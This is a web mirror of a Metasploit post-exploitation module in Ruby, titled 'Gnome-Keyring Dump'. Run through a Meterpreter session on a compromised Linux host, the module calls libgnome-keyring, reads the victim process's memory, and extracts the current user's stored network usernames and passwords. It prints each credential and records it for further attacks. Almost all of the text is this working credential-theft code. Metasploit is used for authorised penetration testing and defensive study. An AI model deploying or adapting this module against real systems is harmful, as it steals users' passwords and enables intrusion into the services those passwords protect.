Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/linux/gather/gnome_keyring_dump.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'bindata'
7
8
class MetasploitModule < Msf::Post
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Gnome-Keyring Dump',
15
'Description' => %q{
16
Use libgnome-keyring to extract network passwords for the current user.
17
This module does not require root privileges to run.
18
},
19
'Author' => 'Spencer McIntyre',
20
'License' => MSF_LICENSE,
21
'Platform' => [ 'linux' ],
22
'SessionTypes' => [ 'meterpreter' ],
23
'Notes' => {
24
'Stability' => [CRASH_SAFE],
25
'SideEffects' => [],
26
'Reliability' => []
27
},
28
'Compat' => {
29
'Meterpreter' => {
30
'Commands' => %w[
31
core_native_arch
32
stdapi_net_resolve_host
33
stdapi_railgun_api
34
stdapi_railgun_memread
35
]
36
}
37
}
38
)
39
)
40
end
41
42
class GListX64 < BinData::Record
43
endian :little
44
uint64 :data_ptr
45
uint64 :next_ptr
46
uint64 :prev_ptr
47
end
48
49
class GListX86 < BinData::Record
50
endian :little
51
uint32 :data_ptr
52
uint32 :next_ptr
53
uint32 :prev_ptr
54
end
55
56
# https://developer.gnome.org/glib/unstable/glib-Doubly-Linked-Lists.html#GList
57
def struct_glist
58
session.native_arch == ARCH_X64 ? GListX64 : GListX86
59
end
60
61
class GnomeKeyringNetworkPasswordDataX64 < BinData::Record
62
endian :little
63
uint64 :keyring
64
uint64 :item_id
65
uint64 :protocol
66
uint64 :server
67
uint64 :object
68
uint64 :authtype
69
uint64 :port
70
uint64 :user
71
uint64 :domain
72
uint64 :password
73
end
74
75
class GnomeKeyringNetworkPasswordDataX86 < BinData::Record
76
endian :little
77
uint32 :keyring
78
uint32 :item_id
79
uint32 :protocol
80
uint32 :server
81
uint32 :object
82
uint32 :authtype
83
uint32 :port
84
uint32 :user
85
uint32 :domain
86
uint32 :password
87
end
88
89
# https://developer.gnome.org/gnome-keyring/stable/gnome-keyring-Network-Passwords.html#GnomeKeyringNetworkPasswordData
90
def struct_gnomekeyringnetworkpassworddata
91
session.native_arch == ARCH_X64 ? GnomeKeyringNetworkPasswordDataX64 : GnomeKeyringNetworkPasswordDataX86
92
end
93
94
def init_railgun_defs
95
unless session.railgun.libraries.key?('libgnome_keyring')
96
session.railgun.add_library('libgnome_keyring', 'libgnome-keyring.so.0')
97
end
98
session.railgun.add_function(
99
'libgnome_keyring',
100
'gnome_keyring_is_available',
101
'BOOL',
102
[],
103
nil,
104
'cdecl'
105
)
106
session.railgun.add_function(
107
'libgnome_keyring',
108
'gnome_keyring_find_network_password_sync',
109
'DWORD',
110
[
111
['PCHAR', 'user', 'in'],
112
['PCHAR', 'domain', 'in'],
113
['PCHAR', 'server', 'in'],
114
['PCHAR', 'object', 'in'],
115
['PCHAR', 'protocol', 'in'],
116
['PCHAR', 'authtype', 'in'],
117
['DWORD', 'port', 'in'],
118
['PBLOB', 'results', 'out']
119
],
120
nil,
121
'cdecl'
122
)
123
session.railgun.add_function(
124
'libgnome_keyring',
125
'gnome_keyring_network_password_list_free',
126
'VOID',
127
[['LPVOID', 'list', 'in']],
128
nil,
129
'cdecl'
130
)
131
end
132
133
def get_string(address, chunk_size = 64, max_size = 256)
134
data = ''
135
loop do
136
data << session.railgun.memread(address + data.length, chunk_size)
137
break if data.include?("\x00") || (data.length >= max_size)
138
end
139
140
if data.include?("\x00")
141
idx = data.index("\x00")
142
data = data[0...idx]
143
end
144
145
data[0...max_size]
146
end
147
148
def get_struct(address, record)
149
record = record.new
150
record.read(session.railgun.memread(address, record.num_bytes))
151
Hash[record.field_names.map { |field| [field, record[field]] }]
152
end
153
154
def get_list_entry(address)
155
glist_struct = get_struct(address, struct_glist)
156
glist_struct[:data] = get_struct(glist_struct[:data_ptr], struct_gnomekeyringnetworkpassworddata)
157
glist_struct
158
end
159
160
def report_cred(opts)
161
service_data = {
162
address: opts[:ip],
163
port: opts[:port],
164
service_name: opts[:service_name],
165
protocol: opts[:protocol],
166
workspace_id: myworkspace_id
167
}
168
169
credential_data = {
170
post_reference_name: refname,
171
session_id: session_db_id,
172
origin_type: :session,
173
private_data: opts[:password],
174
private_type: :password,
175
username: opts[:username]
176
}.merge(service_data)
177
178
login_data = {
179
core: create_credential(credential_data),
180
status: Metasploit::Model::Login::Status::UNTRIED
181
}.merge(service_data)
182
183
create_credential_login(login_data)
184
end
185
186
def resolve_host(name)
187
address = @hostname_cache[name]
188
return address unless address.nil?
189
190
vprint_status("Resolving hostname: #{name}")
191
begin
192
address = session.net.resolve.resolve_host(name)[:ip]
193
rescue Rex::Post::Meterpreter::RequestError
194
address = nil
195
end
196
@hostname_cache[name] = address
197
end
198
199
def resolve_port(service)
200
port = {
201
'ftp' => 21,
202
'http' => 80,
203
'https' => 443,
204
'sftp' => 22,
205
'ssh' => 22,
206
'smb' => 445
207
}[service]
208
port.nil? ? 0 : port
209
end
210
211
def run
212
init_railgun_defs
213
@hostname_cache = {}
214
libgnome_keyring = session.railgun.libgnome_keyring
215
216
unless libgnome_keyring.gnome_keyring_is_available['return']
217
fail_with(Failure::NoTarget, 'libgnome-keyring is unavailable')
218
end
219
220
result = libgnome_keyring.gnome_keyring_find_network_password_sync(
221
nil, # user
222
nil, # domain
223
nil, # server
224
nil, # object
225
nil, # protocol
226
nil, # authtype
227
0, # port
228
session.native_arch == ARCH_X64 ? 8 : 4
229
)
230
231
list_anchor = result['results'].unpack(session.native_arch == ARCH_X64 ? 'Q' : 'L')[0]
232
fail_with(Failure::NoTarget, 'Did not receive a list of passwords') if list_anchor == 0
233
234
entry = { next_ptr: list_anchor }
235
loop do
236
entry = get_list_entry(entry[:next_ptr])
237
pw_data = entry[:data]
238
# resolve necessary string fields to non-empty strings or nil
239
%i[server user domain password protocol].each do |field|
240
value = pw_data[field]
241
pw_data[field] = nil
242
next if value == 0
243
244
value = get_string(value)
245
next if value.empty?
246
247
pw_data[field] = value
248
end
249
250
# skip the entry if we don't at least have a username and password
251
next if pw_data[:user].nil? || pw_data[:password].nil?
252
253
printable = ''
254
printable << "#{pw_data[:protocol]}://" unless pw_data[:protocol].nil?
255
printable << "#{pw_data[:domain]}\\" unless pw_data[:domain].nil?
256
printable << "#{pw_data[:user]}:#{pw_data[:password]}"
257
unless pw_data[:server].nil?
258
printable << "@#{pw_data[:server]}"
259
printable << ":#{pw_data[:port]}"
260
end
261
print_good(printable)
262
263
pw_data[:port] = resolve_port(pw_data[:protocol]) if (pw_data[:port] == 0) && !pw_data[:protocol].nil?
264
next if pw_data[:port] == 0 # can't report without a valid port
265
266
ip_address = resolve_host(pw_data[:server])
267
next if ip_address.nil? # can't report without an ip address
268
269
report_cred(
270
ip: ip_address,
271
port: pw_data[:port],
272
protocol: 'tcp',
273
service_name: pw_data[:protocol],
274
username: pw_data[:user],
275
password: pw_data[:password]
276
)
277
break unless (entry[:next_ptr] != list_anchor) && (entry[:next_ptr] != 0)
278
end
279
280
libgnome_keyring.gnome_keyring_network_password_list_free(list_anchor)
281
end
282
end
283
284